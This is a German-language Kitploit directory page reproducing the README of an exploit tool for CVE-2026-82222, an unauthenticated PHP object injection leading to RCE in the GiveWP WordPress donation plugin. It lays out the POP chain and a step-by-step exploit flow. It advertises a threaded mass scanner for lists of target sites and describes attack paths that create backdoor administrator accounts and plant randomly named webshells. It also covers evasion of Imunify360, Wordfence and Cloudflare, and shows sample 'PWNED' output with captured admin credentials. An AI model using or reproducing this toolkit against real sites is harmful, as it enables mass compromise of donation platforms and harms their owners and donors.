Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-82222 — # GiveWP <= 4.16.7.1 Nicht authentifizierte PHP-Objektinjektion → RCE | Kitploit
Tools/GitHubGitHub/r0x19/cve-2026-82222
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubr0x19/cve-2026-82222

CVE-2026-82222

# GiveWP <= 4.16.7.1 Nicht authentifizierte PHP-Objektinjektion → RCE

Repository anzeigen
vor 15h 33mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-82222 — GiveWP <= 4.16.7.1 Nicht authentifizierte PHP-Objektinjektion → RCE

Autor: Rx019
CVSS: 10.0 (Kritisch)
Typ: Nicht authentifizierte PHP-Objektinjektion → Remote Code Execution
Plugin: GiveWP (give) — Spenden-Plugin und Fundraising-Plattform
Betroffen: <= 4.16.7.1
Behoben: 4.16.8


Beschreibung

GiveWP speichert den last_name eines Spenders ohne Bereinigung in der PHP-Session. Wenn eine Spende ohne das Feld give_last übermittelt wird, deserialisiert GiveWP den Rohwert direkt aus der Datenbank in die Session. Dies ermöglicht es einem nicht authentifizierten Angreifer, ein PHP-serialisiertes Objekt über den Spenderprofil-Endpunkt in last_name zu injizieren und anschließend durch die Übermittlung einer manipulierten Spende die Deserialisierung auszulösen — was über eine vorgefertigte POP-Kette in den gebündelten Vendor-Bibliotheken von GiveWP zur Ausführung beliebiger Befehle führt.


POP-Kette

root@kitploit:~
TCPDF::__destruct() └─ Session::getBag() ← ruft Methode auf, die nach $attributeName benannt ist └─ DonationFactory::__call() └─ system($command) ← $command stammt aus $attributeName

Verwendete Vendor-Klassen:

KlasseDatei
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

Exploit-Ablauf

root@kitploit:~
1. Als Spender registrieren     → authentifizierte Session (wp-login-Cookie)
2. POST /wp-admin/profile.php
   last_name = serialisierte TCPDF-Kette mit eingebettetem system()-Befehl
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (Feld give_last WEGGELASSEN)
   → GiveWP liest last_name aus der DB, schreibt Rohobjekt in die Session
4. GET /?p={form_id}
   → PHP-Session-Teardown löst TCPDF::__destruct() aus
   → POP-Kette führt system(command) aus
5. Shell/Admin bestätigen

Voraussetzungen

root@kitploit:~
pip install requests rich

Python >= 3.9


Dateien

DateiBeschreibung
CVE-2026-82222.pyPoC für einzelne Ziele — ausführliche Schritt-für-Schritt-Ausgabe
CVE-2026-82222-MASS.pyMassen-Scanner — Thread-basierter Batch-Modus

Verwendung

Einzelnes Ziel

root@kitploit:~
python CVE-2026-82222.py

Interaktive Eingabeaufforderung:

root@kitploit:~
  Ziel-URL: https://victim.com

Oder direkt:

root@kitploit:~
python CVE-2026-82222.py https://victim.com

Massen-Scanner

root@kitploit:~
# Batch aus Datei
python CVE-2026-82222-MASS.py -f targets.txt

# Benutzerdefinierte Thread-Anzahl
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# Mehrere Ziele inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# Interaktives Menü
python CVE-2026-82222-MASS.py

Batch-Dateiformat:

root@kitploit:~
# Zeilen, die mit # beginnen, werden ignoriert
https://target1.com
https://target2.com
target3.com          # Protokoll wird automatisch als https:// vorangestellt
http://target4.com

Ausgabe

Einzelmodus

root@kitploit:~
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + direct)  https://victim.com           │
│  Version : 4.15.0                                     │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Methode : shell + direct (kein .php-Schreiben nötig) │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

Batch-Zusammenfassung

root@kitploit:~
  Verwundbar : 12   Teilweise : 3   Behoben : 44   Nicht verwundbar : 21   Fehler : 2   Gesamt : 82

Ergebnisse gespeichert unter ~/Documents/CVE/CVE-2026-82222/:

DateiInhalt
CVE-2026-82222_YYYYMMDD_HHMMSS.txtErgebnis des einzelnen Laufs
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txtVollständige Batch-Ergebnisse
success_results.txtAngehängte VULN/PARTIAL-Zeilen

Angriffspfade

Der Exploit versucht nacheinander zwei primäre Pfade:

Pfad A — Direkter Admin (keine Shell-Datei geschrieben)

  1. wp_create_user()-PHP-Code als Base64 in die TCPDF-Kette injizieren
  2. Kette auslösen — GiveWP führt den Code serverseitig aus
  3. Durch Anmeldung als erstellter Admin verifizieren
  4. Shell über den WordPress-Plugin/Theme-Datei-Editor ablegen

Pfad B — GiveWP-Ketten-Shell-Ablage

Wird verwendet, wenn Pfad A fehlschlägt oder die Admin-Anmeldung nicht verifiziert werden kann.

  1. Neue Spender-Session registrieren (neue PHP-Session-Datei — vermeidet Sperrkonflikte durch den Worker von Pfad A)
  2. Shell-Ablage-Befehl über den Profil-Endpunkt in last_name injizieren
  3. Session kontaminieren (Spende ohne give_last)
  4. Deserialisierung auslösen (/?p={form_id})
  5. Vorhandensein der Shell in Upload-/Plugin-/Theme-Verzeichnissen bestätigen
  6. Fallback: id | tee-Beacon in eine .txt-Datei in uploads

Pfad C — Admin über Shell

Wenn eine Shell bestätigt ist, aber noch kein Admin existiert, einen über die Shell mit wp_create_user() über den ?c=-Parameter der Webshell erstellen.


WAF-Behandlung

WAFStrategie
Imunify360X-Forwarded-For / X-Real-IP-Spoof-Header entfernen
WordfenceUser-Agent aus Pool rotieren
CloudflareAccept-Encoding: gzip, deflate, br setzen

Hinweise

  • Der Exploit erfordert, dass GiveWP mindestens ein veröffentlichtes Spendenformular hat
  • Die Registrierung muss auf der Zielseite aktiviert sein (WordPress-Kerneinstellung)
  • PHP-FPM-Worker-Pool-Entleerung: Nach der direkten Admin-Kette wird ein 30-Sekunden-Sleep eingefügt, damit der Session-haltende Worker vor nachfolgenden Anfragen freigibt
  • DISALLOW_FILE_EDIT in wp-config.php blockiert den Plugin/Theme-Editor-Vektor — das Skript erkennt dies frühzeitig und fällt auf Pfad B zurück
  • Shell-Dateiname: Rx{100-999}.php — pro Lauf randomisiert

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Forschungszwecke veröffentlicht.
Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
Unbefugte Nutzung ist illegal und unethisch.

Tool herunterladen